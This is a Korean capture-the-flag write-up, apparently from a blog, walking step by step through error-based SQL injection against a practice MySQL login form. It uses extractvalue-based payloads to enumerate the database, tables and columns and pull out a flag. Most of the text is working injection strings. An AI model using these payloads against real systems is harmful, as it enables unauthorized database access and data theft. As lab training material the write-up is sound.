문제는 아래와 같습니다
계정이 하나 주어졌네요
주어진 계정으로 로그인 해보며 response와 request에 특이한 점이 있는지 살펴보겠습니다
별다른 특이점 없이 잘 로그인 되었습니다
혹시 Error based sqli가 가능한지 알아보기 위해 normaltic'
를 아이디로 입력해보겠습니다
에러메세지가 출력되고 있습니다
Error based sqli가 가능할 것 같습니다
normaltic' and '1'='1
를 아이디로 입력해보았습니다
로그인에 성공하는 것으로 보아 확실히 sqli 포인트입니다
error based sqli를 하려면 에러를 출력할 함수가 필요합니다
이때 활용할 함수는 사용하는 데이터베이스마다 다릅니다
우리는 MySQL을 사용하고 있기 때문에, extractvalue
함수를 활용합니다
XPATH 표현식을 작성해야 할 부분에 틀린 접두사(콜론)와 SQL문을 이어붙여 원하는 SQL문이 실행되도록 할 것입니다
이제 본격적인 SQLi를 위해 공격 포맷을 만들어 보겠습니다
normaltic' and extractvalue('1', concat(0x3a, (_SQL_))) and '1'='1
DB 이름은 select database()
로 찾습니다
따라서 우리가 아이디로 입력해야 할 sql문은 아래와 같습니다
normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1
sqli_2_2
라는 DB 명을 찾았습니다
앞에서 찾은 DB 명을 이용해 해당 DB 안에 있는 테이블들을 찾는 SQL문은 아래와 같습니다
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_2'
이 SQl문을 공격 format에 삽입합니다
normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_2'))) and '1'='1
이제 이 sql문을 아이디로 입력해보겠습니다
테이블이 여러 개인 것 같네요
limit
을 활용해 1개씩 찾아보겠습니다
normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_2' limit 0,1))) and '1'='1
flagTable_this
라는 테이블을 발견했습니다
normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_2' limit 1,1))) and '1'='1
member
라는 테이블도 발견했습니다
우리는 flag를 찾아야 하니 우리가 추출해야 할 데이터는 flagTable_this
테이블에 있을 가능성이 크겠네요
그럼 flagTable_this
에 어떤 column이 있는지 알아보기 위한 SQL문을 작성해보겠습니다
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable_this'
이 SQL문을 공격 format에 끼워넣으면 아래와 같습니다
normaltic' and extractvalue('1', concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable_this'))) and '1'='1
아이디로 입력해보니 이런 결과가 나왔습니다
컬럼이 여러 개인 것 같으니 마찬가지로 limit
을 활용해 1개씩 찾아보겠습니다
normaltic' and extractvalue('1', concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable_this' limit 0,1))) and '1'='1
idx
라는 컬럼을 발견했습니다
normaltic' and extractvalue('1', concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable_this' limit 1,1))) and '1'='1
flag
컬럼도 발견했습니다
우리가 찾는 것은 flag이기 때문에 flag 컬럼의 데이터를 추출해보도록 하겠습니다
데이터를 추출하는 sql문은 select flag from flagTable_this
가 됩니다
이것을 공격 format에 삽입하면 아래와 같습니다
normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this))) and '1'='1
컬럼 내 데이터가 여러 행인 것 같으니 limit
을 이용해 1개씩 보아야 합니다
normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit N,1))) and '1'='1
데이터가 많을 것 같아 burp suite의 intruder를 이용해 limit의 시작 인덱스를 0부터 20까지 돌려보았습니다
13에서 플래그를 찾았습니다